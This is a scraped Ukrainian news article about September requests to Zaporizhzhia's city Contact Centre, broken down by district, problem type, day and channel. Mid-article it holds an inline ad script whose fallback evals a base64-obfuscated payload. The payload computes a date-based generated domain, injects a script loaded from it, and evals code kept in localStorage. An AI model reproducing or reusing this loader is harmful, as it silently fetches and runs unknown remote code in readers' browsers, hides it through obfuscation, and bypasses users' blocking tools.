Геоінформаційний портал «Міський Контакт-Центр» був створений у Запоріжжі з метою налагодження конструктивного діалогу між жителями та органами виконавчої влади міста.
Журналісти «Акцента» проаналізувалі дані порталу, та публікують актуальну інформацію щодо розподілу звернень мешканців міста за районами та проблемами, з якими вони звертались до «Міського Контакт-Центру».
Розподіл звернень по районам міста
Загалом, упродовж вересня поточного року, до порталу надійшло 9129 звернень від мешканців міста. Найктивнішими були жителі Вознесенівського району, а найменше звернень надійшло від мешканців Хортицького району.
Розподіл звернень за проблемами
Найбільше мешканці міста скаржились на проблеми, пов’язані з обслуговуванням інженерних мереж. Також жителі Запоріжжя були занепокоєні станом магістральних водоводів зовнішніх мереж та обслуговуванням електромереж. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Інженерні мережі — 2083 Служба обслуговування електромереж — 2067 Магістральні водоводи зовнішних мереж — 1572 Експлуатація і ремонт житлового фонду — 1099 Ліфтове господарство — 887 Благоустрій прибудинкової території — 598 Дослідження в довкіллі факторів, які можуть впливати на здоров’я людини та оцінка їх результатів — 369 Подяки — 59 Скарги — 59 Благоустрій. Загальні питання. — 57 Транспорт — 51 Колодязі і відкриті люки — 50 Благоустрій. Утримання зелених насаджень. — 38 Інші питання ЖКГ — 35 Благоустрій вулично-шляхової мережі — 32 Інші питання — 24 Охорона навколишнього середовища — 20 Ремонт та утримання доріг — 18 Надання довідкової інформації — 7 Контроль за дотриманням Правил благоустрою — 5 Наркотичні речовини — 3 
Динаміка надходження звернень за днями
Найбільше звернень від містян надійшло до «Міського Контакт-Центру» 25 вересня — 421 звернення, найменше 3 вересня — 185 звернень.
Розподіл звернень за джерелом надходження
Переважна більшість мешканців Запоріжжя зверталась до «Міського Контакт-Центру» за допомогою порталу — 91% від загальної кількості звернень, електроною поштою вирішили скористатися 8% жителів міста. (adsbygoogle = window.adsbygoogle || []).push({});
Підписуйтесь на Акцент в 
Источник: https://akzent.zp.ua/z-yakimi-problemami-meshkantsi-zaporizhzhya-najchastishe-zvertalis-do-miskogo-kontakt-tsentru-u-veresni-oglyad-infografika/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
